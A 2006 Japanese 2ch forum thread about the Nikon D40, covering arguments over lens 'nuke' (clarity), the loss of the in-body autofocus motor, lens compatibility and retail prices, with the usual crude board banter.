324 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:47:09 ID:V1yIctd00
へえ、知識は無くても具体的な物証が一切出てこない事実は解るんだけどね。
もし「ヌケ」なんてものがこの世に確たる基準として存在するとごり押ししたいなら、
出してみろよ。
「ヌケ」の良い例、悪い例の具体的な画像を。
まぁ出せないと知ってて追い詰めてるんだけどね・・・。

325 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:52:12 ID:+EWQVgUK0
>>324
>「ヌケ」の良い例、悪い例の具体的な画像を。 
>まぁ出せないと知ってて追い詰めてるんだけどね・・・。
簡単だよ。
例えばレンズにゴミを付けてみ。一発でヌケが悪くなる。
これなら自分で試せるでしょ?

326 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:52:20 ID:/G/UGwo/0
>>323
MTF曲線を作るためにメーカがやってるテストが
デジカメ雑誌でお馴染みの、あの解像力チャートだということを知らないんだろうねきっとw



327 :名無CCDさん@画素いっぱい:2006/12/08(金) 02:52:46 ID:V1yIctd00
>>325
やっぱりふざけてるよね?

328 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:05:24 ID:+EWQVgUK0
>>327
あんたは、本当にコントラスト(=ヌケ)を悪くするフレアとは何かを判っているのか?
レンズ内の乱反射だよ?
レンズのコーディングや気泡、境筒内の処理は弄れないけど、ゴミは簡単に付くし付けられる。
ゴミが大量に付けば、簡単にフレアが発生しコントラストが悪くなる。

・・・って、もう良いよ。

329 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:07:08 ID:/G/UGwo/0
勉強は、自分でしてくれ。それがデジタル時代ってことだろう?
ttp://www.google.co.jp/search?hl=ja&q=%E3%83%8C%E3%82%B1%E3%81%AE%E8%89%AF%E3%81%84%E5%86%99%E7%9C%9F&lr=

勉強がおわったら、これでも見てくれ。そうカッカするなよ。
ttp://www.google.co.jp/search?hl=ja&q=%E3%83%8C%E3%82%B1%E3%82%8B%E5%86%99%E7%9C%9F&lr=

330 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:14:14 ID:5wEXYEva0
うわ。なんか、寝ようと思ったら俺のレスが槍玉に上がってるし(笑)

なんでAi35/1.4Sと同28/2.8が粗悪品ってことになってんのよ?(笑)
どっちもデジタル時代になってもまったく解像負けしない、
シャープな超高性能レンズとして定評がある玉だぞ?

まぁ、確かに35/1.4の開放はかなりソフトな描写だが、
それでも安いレンズの開放描写に良く見られるようなざわついた描写じゃなくて、
解像の芯は残ってる、しっとりと落ち着いた柔らかさで、俺は気に入ってる。
一段絞ってF2くらいまではこの傾向が続くので、
APS-C換算で52.5mmという使いやすい画角のせいもあって、
デジ一で女性のポートレートを撮るには、俺の手持ちのニコンレンズの中ではベストと思ってる。

で、2.8から先は、一気にこのレンズ本来の超高解像描写。
銀塩で紅葉の写真撮る時なんかはもう手放せないレンズ。
かすかな色の違いで重なり合った紅葉の一枚一枚の輪郭を、精緻な細い線できっちり写し取ってくれる。
クセ玉であることは確かだが、光学性能は図抜けて高いよ。

331 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:18:08 ID:/G/UGwo/0
名玉なんだけどな。どうしてか理解してもらえなかったよw

確かに85/1.4みたいに色ノリの浅さもなく、35/1.4はいいな。


332 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:19:07 ID:V1yIctd00
>>328
くっそー、釣られた俺が負けってことかよ・・・。
しまったなぁ、時間を無駄にしてしまった。

具体的な画像も貼らずに語ってる時点で気づくべきだったと反省。

333 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:20:15 ID:wFl2fPZi0
>>330
みせてよ、その超解像度とか言うのを。

334 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:21:08 ID:+EWQVgUK0
>>330
>なんでAi35/1.4Sと同28/2.8が粗悪品ってことになってんのよ?(笑)
そんな流れじゃないと思うけど・・・

単に「ヌケの良いレンズ」と言う意味が判らない香具師が一人いただけ。

335 :330:2006/12/08(金) 03:22:57 ID:5wEXYEva0
で、28/2.8は開放から安定したシャープな描写。
(開放からすごくシャープだけど、絞ってもあまり描写が変わらない)

このレンズでポートレートを撮る時ってのは、
人物以外に背景や周囲の状況を写し込みたい時なので、
シャープネスの足りないレンズじゃ話にならないわけ。

でも、主体は人物だから、肌の質感も大事にしたい。
そういう時に、画面全体がシャープでありながら肌も綺麗に撮れる、
絶妙のバランスの良さがあるんだわこのレンズ。

デジだと換算42mmになっちゃうので、広角としては使えずに、
スナップ専用になっちゃうけどね。

336 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:24:19 ID:VspZ7iUd0
>>332
おまえ見苦しいな

337 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:24:51 ID:/G/UGwo/0
>>334
解からないっていうか、もう引っ込みがつかなくなって
意地になっちゃっただけだよね。

写真見れば解かることだし、見て解からなかったら目を養うしかないし
感覚値(官能値)である「ヌケ」を
科学的に定義するためにMTF曲線ってのを定義したわけだし。
+EWQVgUK0は初めからそれをURL付で紹介してたし……

オーディオでいうところのHiFiと同じことなんだけど、
それが無いって言われてもネェ

338 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:25:08 ID:V1yIctd00
意味が解らないというより、意味の無いヌケという主観を批判してるだけ。
確固たる同条件でヌケの良し悪しを具体的に示している画像が出ない机上の空論だ。

339 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:34:05 ID:+EWQVgUK0
>>332
ほらよ。
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061208033234.jpg
http://2ch-dc-ita.gotdns.com/~dc-ita/cgi-bin/imgboard/img-box/img20061208033252.jpg

340 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:43:02 ID:5wEXYEva0
>>339
うを。レンズの刻印文字とか、かなりはっきり差が出るね。
どうやって撮ったの?

341 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:49:25 ID:+EWQVgUK0
>>340
わざとフレアを増やしてヌケを悪くした・・・って当たり前だけどね。
とりあえず、どんなレンズを使ったかの種明かしは>>338の意見を聞いてからかな。

342 :名無CCDさん@画素いっぱい:2006/12/08(金) 03:56:57 ID:5wEXYEva0
>>333
ごめん、去年の紅葉の写真があったはずだと思って探してみたんだけど、
MFレンズはexifにレンズの情報が残らないので、正直今になるとどれだかわかんねぇ。

ポートレートならともかく、風景は28と35付け替えながら撮ったのが混在してて、
画角も近いし、絞ると両方とも鬼解像なので、もうどっちがどっちやら(笑)


>>341
了解。
そろそろ寝ないとまずいので、悪いけどお先に。


343 :名無CCDさん@画素いっぱい:2006/12/08(金) 05:39:29 ID:/G/UGwo/0
>>341
逃げちゃったかな? これは奥様のあれかな

344 :名無CCDさん@画素いっぱい:2006/12/08(金) 07:08:39 ID:ubugmsTIO
寝てる間にスレが延びてると思ったら、
おまいら、いい加減スレ違いに気づけw

345 :名無CCDさん@画素いっぱい:2006/12/08(金) 08:39:04 ID:AnfpZ1Sc0
もうそろそろ情報は出きった感じがあるね。もうよまなくてもいいスレになった。
あとは適当にうだうだやってな。

346 :名無CCDさん@画素いっぱい:2006/12/08(金) 08:46:02 ID:OPjt4yiP0

ウルトラバカ

347 :名無CCDさん@画素いっぱい:2006/12/08(金) 09:34:57 ID:z/To3IbY0
さぁID換えて逃亡者おりん状態ですねw

348 :名無CCDさん@画素いっぱい:2006/12/08(金) 10:01:44 ID:+EWQVgUK0
>>342>>343
わざわざ写真撮ってうpしたのにねぇ・・・
ちなみに、レンズの前に付けたのは、そのへんに有った透明シートです。
レンズは55/2.8マイクロ。

>>344
確かに。

349 :名無CCDさん@画素いっぱい:2006/12/08(金) 11:08:43 ID:gwzgtr5u0
D40はAFモータを降ろしてAF-Sに特化して登場しましたが、
今後ニコンはこの路線を徐々にハイエンド機側にも拡げて
いくのでしょうか。
それともエントリー機だけに限った「機種限定の機能限定」路線でいく
のでしょうか。
私は前者とみてるのですが、レンズが矢継ぎ早にAF-S化される見通しには悲観的です。

350 :名無CCDさん@画素いっぱい:2006/12/08(金) 11:09:04 ID:jp3n8iFY0
D40の本来のターゲット層がこのスレ見たら、
「なんだか難しそうなカメラだなぁ」
と購入自体をスルーしてしまいそうだ。
キミらは↓のスレに移行してくだされ。

ニッコールレンズ(DX他) in デジ板 十八本目
http://hobby7.2ch.net/test/read.cgi/dcamera/1164166399/l50


351 :名無CCDさん@画素いっぱい:2006/12/08(金) 11:16:36 ID:2RmZNiLC0
レンズ資産、て言葉知ってるか?>>349


352 :349:2006/12/08(金) 11:38:25 ID:gwzgtr5u0
>>351
その「レンズ資産」を何度かないがしろにしてきた歴史も経験してきたよ
だからこそ「またやるのか」と憂いでいるわけ。

353 :名無CCDさん@画素いっぱい:2006/12/08(金) 11:39:34 ID:YUQXqMlI0
FD以来のキャノネットか・・・

354 :名無CCDさん@画素いっぱい:2006/12/08(金) 11:42:26 ID:g6oEbQVb0
ずばっと切り捨てて近代的なシステムを得たキヤノン。

切り捨てず目先のユーザー保護のためにわかりにくいシステムのニコン。
だいたい互換性ないくせに同じマウントとは欺瞞である。

355 :349:2006/12/08(金) 11:55:05 ID:gwzgtr5u0
親父のFから2世代続けてニコンです。キヤノンはよく知らない。
けど、FD以来どころか、FL使ってたよ。それっきりですが。
向こう(キヤノン)がEFに代わったときは我がニコン万歳だったけど今はどう?
マウントを変えろなど今さら思わないけど、いつもの調子で半端な互換性を保った
ままヌルい変化をしていくような気がするんです。
それを予感させるのが今回のD40だなぁと思ったわけです。

356 :名無CCDさん@画素いっぱい:2006/12/08(金) 11:57:51 ID:lg8DxNSH0
>>355
ニコンの悠久の歴史(笑)をよく知らないんだけど、
ローエンド機の機能制限がそのままハイエンド機に遡及した例ってあるの?

357 :名無CCDさん@画素いっぱい:2006/12/08(金) 12:06:29 ID:CR/nEIcr0
こんなの書くと荒れそうだけどさ、古いレンズはあくまでそのレンズが作られた時代のカメラで使う事を
前提としているわけで、先のモデルまで使える事を保証してるってわけじゃないと思うんだけどね
あと、レンズ資産はあくまで「資産」なんだから、その時代に於いて価値が変動するのも
また必定なんだよね
AFの駆動形式がボディ内モーターから超音波モーターに変わっていくのも時代の変遷
昔はMT車ばっかだったのに、今ではAT車が市場を席巻した様にね

AFが動かないってだけでMF専用で不便になるけど嵌らないとか写らないとかじゃないでしょ
完全に使えない様にするとかじゃないだけまだいいと思うよ、救済措置がされている分だけ、さ

358 :名無CCDさん@画素いっぱい:2006/12/08(金) 12:06:41 ID:iAUPg9ie0
>>341
種明かしも何も、息吹きかけて曇らせただけじゃん・・・。
バカにもほどがある・・・。

359 :名無CCDさん@画素いっぱい:2006/12/08(金) 12:34:42 ID:OPjt4yiP0
負け惜しみにも低脳ぶりがw

360 :名無CCDさん@画素いっぱい:2006/12/08(金) 12:38:35 ID:yL31WgLT0
>>349
>基本的には半端な互換性を保った ままヌルい変化をしていく

そのとおりだと思うけど、やむ得ないとおもうよ。
スパッとマウント変更するより、旧ユーザーには優しいでしょうし、
といって40年前のレンズを完全に使えるようにするためにコストアップでは新ユーザーに対して不利。

将来的にはAF−S化を進めて行き、全部揃ったころには中級機=D80クラスからもAFカップリングが
廃止されるんではなかろうか?
ただ上級機(D200クラス)ではAiやAFカップリング対応は残ると思うね。

361 :名無CCDさん@画素いっぱい:2006/12/08(金) 12:55:22 ID:gvk+q3od0
数十万円のレンズ
新ボディーでは使えません。ではね
αからニコンに移った時 毎月数ヶ月間 淋しい財布だった

362 :名無CCDさん@画素いっぱい:2006/12/08(金) 13:16:19 ID:tJVMNJPd0
>>360
>スパッとマウント変更するより、旧ユーザーには優しいでしょうし、
>といって40年前のレンズを完全に使えるようにするためにコストアップでは新ユーザーに対して不利。

その言い訳では、ペンタックスに出来たことがNikonには出来ないと言うことになる。

軽量小型化を進める上でボディー内モータを排除し、その結果従来ユーザーには残念なことになったが
良いものが出来たので応援してね(ハート)が正しいと思う。

363 :名無CCDさん@画素いっぱい:2006/12/08(金) 13:26:55 ID:4uAhGWl10
>>352
>その「レンズ資産」を何度かないがしろにしてきた歴史も経験してきたよ
>だからこそ「またやるのか」と

それは、具体的にいつ、ニコンがどのボディを発表した時?
「今まで使ってた古いボディじゃ新しいレンズに対応できない、新しいのを買い足すか」と思ったことはあっても、
ニコンに「旧レンズ資産をないがしろにされた」って思うことは、今までほとんどなかったんだが?

俺もじーさんから形見にもらったニコマートや、親父のF2フォトミックを含めて、
ガチャガチャ時代からのレンズとボディをずっと持ってるけどさ?

364 :名無CCDさん@画素いっぱい:2006/12/08(金) 13:40:05 ID:7lAxrhz00
今まで使えてきたAFレンズがMFでしか使えなくなると言うのは切捨てでしかないと思うぞ。
ま、嫌なら買わなければいいだけだからどっちでも良いけどね。 新規ユーザにはあまり解らない事だろうし。
でもサードパーティーのニコン用AFレンズを買って使えないと騒ぐおばちゃんが増えそうだな。

365 :名無CCDさん@画素いっぱい:2006/12/08(金) 13:49:41 ID:Omn7mP+K0
AFが使えないカメラがあるってことでいいんじゃないかなぁ エントリー機だし
・・・・・・・今のところはねw

366 :名無CCDさん@画素いっぱい:2006/12/08(金) 13:54:07 ID:+EWQVgUK0
>>362
>その言い訳では、ペンタックスに出来たことがNikonには出来ないと言うことになる。
事実、そうだから仕方が無いよ。
もちろん、ニコンに出来たことがペンタックスに出来ないことも沢山有るけど。

>>363-364
今回で2度目かな?
もっとも、何れの場合も、エントリーユーザーを確保するための廉価機だから出来た
と言う話しでは有るけど。

367 :名無CCDさん@画素いっぱい:2006/12/08(金) 14:14:37 ID:Q/5wWcmn0
ニコ爺って本当に馬鹿だよなw Kissの機能制限をあれだけバッシングしといてニコンがしたら妄信www きもいwww

368 :名無CCDさん@画素いっぱい:2006/12/08(金) 14:21:13 ID:tJVMNJPd0
ニコンの予想外は
本来こっち向くはずが無かったニコGがこっちを向いちゃったことか?
上級機(D50以上の意)のユーザーは、見向きもしねぇだろう。
と思ってたら、あらら(゜д゜)見ちゃったのねw
まぁグダグダ言ってるのはこのスレ内だけだろうから実害は無いだろうけどw

画質をD50そのままに持ってくれば、それほどGも見向きもしなかっただろうけど、
下手すりゃ上級機を食っちまいかねない画質で出してしまったんで妬いたんだろうね。
Nikonとしては単なる初級機=安物ではインパクトにかけるから、画質を改善した。
それはそれで従来ユーザーの反感を買ったと。

369 :名無CCDさん@画素いっぱい:2006/12/08(金) 14:33:35 ID:CR/nEIcr0
反感は違うでしょ?ただ、上級者と初心者の棲み分けを狙うつもりが
コンパクト設計&画質改善したが為に変に注目されて裏目ってるだけだと思われ

370 :名無CCDさん@画素いっぱい:2006/12/08(金) 14:37:46 ID:4uAhGWl10
>>368
上級機ユーザーでも、D40はD40で魅力的なカメラだから欲しくて買っちゃった。
使ってみたら予想以上に良く出来ていてメインカメラを食う勢いで愛用中。

確かにニコンにとっては予想外だろうが、俺も含めてそんな購買層も結構居る。


D40はそれ自体でシステムが完結しているカメラと思えば、別に反感を抱く理由もないし。
(本体+18-55キット+長距離側1本(用途に応じて55-200、18-200、VR70-300のいずれか))
安くてお手軽な割に、無改造非Aiを含むMFレンズとの相性が妙にいいというマニアックな楽しさまである。
叩く理由がわかんね。

371 :名無CCDさん@画素いっぱい:2006/12/08(金) 14:44:55 ID:d89FJeOK0
やけに伸びてると思ったらキヤノネットかよw
キヤノンは最高!と思ってるなら、ドッシリ構えてろよ。

5万円のカメラのスレで吠えなくてもいいのにw

372 :名無CCDさん@画素いっぱい:2006/12/08(金) 14:49:24 ID:z/To3IbY0
5万円のカメラに只ならぬ脅威を感じるからこそ、だなw




373 :名無CCDさん@画素いっぱい:2006/12/08(金) 14:58:19 ID:udBk4GhaO
それがなぁ・・・
キヤノンには5マソで一眼を出されると困るラインナップが存在するのよ

PowerShotと言う名前の、ね

374 :名無CCDさん@画素いっぱい:2006/12/08(金) 15:02:05 ID:4uAhGWl10
そういや、価格の最安値でレンズキットと本体の差額が6000円ちょっとだな。
本体価格はD50やKDNとあまり差がないけど、キットで考えると安杉。

ま、高いの承知で発売日に買った漏れには関係ないか。
いや、色違いで二台目も…(ブツブツブツ

375 :名無CCDさん@画素いっぱい:2006/12/08(金) 15:04:22 ID:jp3n8iFY0
>>373
G7 を食うとは思えないなぁ。
だって、腐っても一眼で、D40は結構かさばるじゃないの?

376 :名無CCDさん@画素いっぱい:2006/12/08(金) 15:15:08 ID:KSrXBYHV0
今までビギナー向けの低価格機といったらペンタくらい、とタカをくくっていたら
ニコンまで小型化した新機種を投入してきたので焦ってるんだろうな
その焦り様が、このスレの伸び具合に如実に現れているw

377 :名無CCDさん@画素いっぱい:2006/12/08(金) 15:41:07 ID:l8UDcIQr0
いいねぇ、80年代真っ只中って感じの冷戦妄想。

378 :名無CCDさん@画素いっぱい:2006/12/08(金) 16:17:32 ID:g6oEbQVb0
ニコ爺のオマエラに質問です!
AFがトロイといわれているD40と
D2XやD200で高級レンズのAFの速さ比べた人はいるのでしょうか。

キヤノンだとキスも1Dmk2も同じレンズなら
AF速度の差は体感できないのですが
ニコン様ではどうですか?差があるとしたらその原因は?
それともD40とD200でレンズが同じなら差はないの?

379 :名無CCDさん@画素いっぱい:2006/12/08(金) 16:28:07 ID:HVEVC+pm0
D2XやD200みたいな高級機と高級レンズの組み合わせなんてぶるじょあな事は知らんが
D70sとD40に18-70とVR18-200を付け比べてみたところ、速度差は体感できなかった。

380 :名無CCDさん@画素いっぱい:2006/12/08(金) 16:37:44 ID:g6oEbQVb0
レスありがとうございます。

つーことは、D40がとろい、っていわれるのは
やはりレンズのせいなのでしょうかね。
つか、そもそもD40のAFってとろいんですかほんとのところ。
引き続きご意見よろすこおながいします。

381 :名無CCDさん@画素いっぱい:2006/12/08(金) 16:41:34 ID:l8UDcIQr0
18-200VRだけど、D40とD2Xでは雲泥の差が出るぞ。
原因はメーカー社員じゃないから分からない。

382 :名無CCDさん@画素いっぱい:2006/12/08(金) 16:47:21 ID:g6oEbQVb0
>>381そうなんですか。やっぱ。

ボディ内モーター駆動だと上級機が早いのもわかるんですけどね。
ひょっとしてニコン機はレンズ内とボディ内モーターの
両方で駆動してるんですかね。
そうだとしたらD40が遅くてもなっとくできますけど。

383 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:12:16 ID:apvlqB9m0
>ひょっとしてニコン機はレンズ内とボディ内モーターの両方で駆動してるんですかね。
m9(^Д^)プギャー

384 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:15:34 ID:g6oEbQVb0
あ、ありえないですか。すいません無知で。

m9(^Д^)プギャー久しぶりに見ましたw

385 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:24:27 ID:AgZtLn8l0
触ってきた。ちっちぇー!。軽い。ファイダー糞。

386 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:26:56 ID:aLFkFeB3O
AFエリアを1点に絞れば早くなる…
との書き込みがどっかにあったよ

387 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:28:07 ID:xUkrVO800
先ほど触ってきました。
AFのスピード感は効果音じゃないかな。
キヤノンのキュキュピピッって速さを感じた。

388 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:31:32 ID:WUQTXXac0
思ってたよりファイダー見やすくていいねこれ。

389 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:36:49 ID:SycKMTtA0
上の方で6000fdと迷ってる人がいたけど
さっき6000fd触ってきた素直な感想。
あんな安っぽいとは思わなかった。

390 :名無CCDさん@画素いっぱい:2006/12/08(金) 17:46:40 ID:KIA77CBu0
今やレンズが資産で本体が消耗品だからね。
D40みたいな割り切り方も面白いと思う。

モータ内蔵は持っていないから買えないけど…
とりあえず帰りに触る。

391 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:06:35 ID:KqWSRqGl0
>>380
あくまで俺の予想ですが。
バッテリーがコンデジ並に小型化されて容量が減った反面、上面液晶省略で
背面液晶を表示する時間が長くなり、結果的に消費電力が増えるよね。
従来機同等の撮影可能枚数を確保するためにはレンズモーターにかかる電圧を
低く抑える必要があったんではないかと思われ。
ボディ内モーター廃止もバッテリー小型化が一因かも。小型レンズならまだしも
初代AF80-200F2.8なんかの重たいモーターをガーガー駆動したんじゃ
あっという間にバッテリーが無くなってしまいそうだしw
AF1点に絞ると多少早くなるのはCPUの演算時間が短縮される為で、他機でもそうですよ。

392 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:10:08 ID:g6oEbQVb0
原因は並外れて消費電力をケチった、ってことですかね。
それも不思議な気がします。
まあボディ内モーターを持たない上級機が出たときが楽しみです。

393 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:12:37 ID:KqWSRqGl0
訂正
X 初代AF80-200F2.8なんかの重たいモーターをガーガー駆動したんじゃ
○ 初代AF80-200F2.8なんかの重たい前玉回転式レンズを
  非力なボディ内モーターでガーガー駆動したんじゃ

394 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:22:08 ID:gOtLLIL70
キットレンズ付き6万弱ですら、ぐだぐだ抜かすなら買わなくていいよ(`∀´)


395 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:45:50 ID:kIQ3O02r0
日付時刻は合わせたのですが、写真に日付が入りません。
設定の仕方わかる方教えてください。

396 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:48:09 ID:CR/nEIcr0
Greater-Good - よりよい品をって要求は分からなくもないけどね
本当に不便なら問題だが、普通に初心者が使う様な用途で困らない十分な性能なら
文句は無い様な気がするんだがなぁ

日付はプリンタの設定で印刷するしないを選ぶんじゃなかったっけ?
Exifに記録されている日付を読み取る、みたいな感じで

397 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:55:34 ID:xmD90AMO0
写るんですで十分なやつがD40買ってるなw
ニコンの販売戦略大成功だなww

398 :名無CCDさん@画素いっぱい:2006/12/08(金) 18:57:36 ID:WUQTXXac0

               YES → 【判った?】 ─ YES → よかったな。
             /               \  
【マニュアルみた?】                   NO → なら、できねぇよ。死ね。
             \                   
                NO → 死ね。


399 :名無CCDさん@画素いっぱい:2006/12/08(金) 19:30:12 ID:Q/5wWcmn0
               YES → 【死ね。】 
             /                 
【D40買った?】                     
             \                   
                NO → キヤノン機?─ YES → 当然だな。
                            \  
                               NO → 死ね。


400 :名無CCDさん@画素いっぱい:2006/12/08(金) 19:38:03 ID:ISXsWMyB0
どうしてD40買った?の後が、キャノン機?になるんだろ。
文脈がオカシイ。

401 :名無CCDさん@画素いっぱい:2006/12/08(金) 19:38:21 ID:5wEXYEva0
今帰宅。

こっちにも変なのが沸いてるけど、それよりK10Dスレがひどいことになってるな。
D200の時もひどかったけど、あの時よりさらに悪質になってる。
いくらなんでもタチが悪すぎるだろあれは。さすがに気の毒になってきた。

向こうを覗く時はうかつにリンク踏むなよ。ウイルス食わされるから。
もう通報してるだろうけど、ああいう変質者どもはさっさとアク禁になればいいのにな。




402 :名無CCDさん@画素いっぱい:2006/12/08(金) 19:41:46 ID:q1KwrEk60
>>255
禿同

写真を勉強したい、でもお金が無い若い人に勧めらめるデジイチかな

ダブルズームセットでも下手なレンズより安い

>>257
画質が不満になったらS5proを買い足せばオケ

しかし、ニコソはいい工作員を投入しているな
キヤノネットのフリしてD40を貶す言葉で実はヨイショ
俺は町田淀から徒歩5分のところに住んでいるのだか...


      背中を押すことは止めて欲しい





403 :名無CCDさん@画素いっぱい:2006/12/08(金) 19:44:02 ID:5wEXYEva0
>>402
>しかし、ニコソはいい工作員を投入しているな
>キヤノネットのフリしてD40を貶す言葉で実はヨイショ

ちょ、おま、それはつまりツンデレか? ツンデレなのかっ!?(笑)





不覚にも萌えた。



404 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:05:04 ID:P+HH6iio0
>>368
D50の画質は、既に思いっきり上級機を食っちまってますがなにか?

405 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:07:31 ID:nfSFNQiQ0
ねーよ。

406 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:11:37 ID:kOvng7Wu0
これ買う人って昔のレンズ持ってないんじゃない?

407 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:13:29 ID:qBvTUIpC0
D2Xでも昔のレンズを使う事は皆無だよ。

408 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:17:33 ID:3aH+ds1yO
今日キタムラにプリントを取りに行ったついでに
レンズキットの値段を聞いてビックリ。
思わず「買います。」と言ってしまった。
今日は手持ちもカードもなかったから明後日でも買ってくる。
ホントはボディだけで良かったのに、レンズはオマケみたいな値段だもんな〜。

409 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:18:41 ID:5wEXYEva0
俺「今日はプレゼント持ってきたんだ。これ、君に似合うと思って」
D40「え! ……そ、そう。なぁに、これ?」
俺「Nikkor-N Auto 28mmF2、30年前の名玉だよ。こういうアンティークなレンズ、好きだろ?」
D40「ば、ばばば、馬っ鹿じゃないの!? 今さらこんな古いレンズ持ってこないでよね!
   こんなの買ってもらって喜ぶなんて思ったら大間違いなんだからっ!」
俺「そうか……ごめん……」(すごすご)
D40「ちょ、ちょっと待ちなさいよ!」
俺「え?」
D40「そ、その……せっかくだし……付けてあげる」
俺「へ?」
D40「だから、かわいそうだからそのレンズ付けてあげるって言ってるのよ!
   ほら、さっさと貸しなさいってば!」
D40「……っと、こんなもんかな。どう?」
俺「すげ……マジ似合うよ……」
D40「え……そんな、恥ずかしいからジロジロ見ないでよ!
   仕方なく付けてあげたけど、こんな古いレンズの露出なんか測ってあげないんだから!
   ちゃんと自分で測りなさいよ! まったくもう……」
俺「D40……ありがとうな」
D40「な、なな、何言ってるのよ!
   こ、これはたまたまコストダウンのために絞り開放レバーが押し込み式になってただけで、
   別にあんたの趣味に合わせてこうしたわけじゃないんだからね!
   勘違いしないでよねっ!」


410 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:23:30 ID:kpi3U8+KO
>>409を見ると
カメラが擬人化される日も近いな、と感じた。

411 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:27:06 ID:+VhQFiGU0
キャノGとほとんど変わらない店頭価格のようだ。

412 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:31:47 ID:pg7jQOwj0
>こ、これはたまたまコストダウンのために絞り開放レバーが押し込み式になってただけで、

この仕様変更はコストダウンのためじゃなくて、
D50やD70に無理やり付けてレバー壊すヤシが居たから
「壊れないように」対応したらしいぞ。

413 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:33:41 ID:EbbD5mbI0
不細工だったストラップ取り付け金具も改良されたね

414 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:33:55 ID:u3+NTOvC0
レンズキットでヨンキュッパはもうすぐか? 正月待ちか?

415 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:34:24 ID:Mo6uut+l0
>>410
中古カメラをクラカメ嬢とよんでる亀爺を思い出した。
中古なら嬢でなくて婆だろうにw

416 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:41:39 ID:uepjqfjm0
高感度はキヤノンを凌ぐ程の塗り絵画像。
ニコンもユーザーの事を理解してきたようだな。

417 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:42:58 ID:+VhQFiGU0
塗り絵なら、まかせろ。

418 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:43:21 ID:Y4CtHYsX0
大人の塗り絵。

419 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:44:47 ID:WUQTXXac0
>>419 眼科行ってこい

420 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:47:02 ID:SriGluaI0
>>419
モチツケ

421 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:47:33 ID:CR/nEIcr0
>>419
志村ー(ry

422 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:53:42 ID:xUkrVO800
ファインダー取り付け型のライブビュー液晶モニターが有ればいいのにね

423 :名無CCDさん@画素いっぱい:2006/12/08(金) 20:57:21 ID:PKRQk2F50
あるよ。

424 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:02:31 ID:icbdp5St0
ヤフオクでWズームキットを思ったより安く70k+送料で落札できました。
初のデジ一眼。到着が楽しみです。

425 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:02:36 ID:+VhQFiGU0
おつぎのかたどうぞ。

426 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:08:22 ID:iGzGY2ft0
近所のキタムラD40なんか売れないってさ
在庫の山になると頭かかえていた。

427 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:08:42 ID:6iIMcDsg0
D40買おうと思っていたのに・・・。

車が壊れたorz。

428 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:10:04 ID:zmDwMIDb0
キタムラへ行ったら62000円のD40の隣でD50が39800円で処分されていた。
D40が売れるわけ無いと思った。

429 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:11:49 ID:bYM+ZETw0
>>426
一山いくらの叩き売りを狙うと?

430 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:12:06 ID:um1oiWhy0
キタムラはネガティブキャンペーン中だからねw

431 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:12:42 ID:bYM+ZETw0
>428
それって「レンズキット(にしてもちょっと高い)」と「ボディーのみ」じゃない?

432 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:14:05 ID:5wEXYEva0
>>428
マジ? それどこのキタムラ?
教えてくれ。その値段なら明日一番で買いに行く。

433 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:14:32 ID:PxKiWEXiO
近所のキタムラだと、D50のレンズキットは59800だったけど…。


434 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:14:33 ID:DPR2LYTO0
>>432
どっちを?

435 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:16:37 ID:SriGluaI0
>>424
Wズームにしては相場より安いが、マジレスすると、





ちゃんと信頼できるところから買ったんだよね?

436 :名無CCDさん@画素いっぱい:2006/12/08(金) 21:17:11 ID:5wEXYEva0
>>434
D50に決まってるダロ。

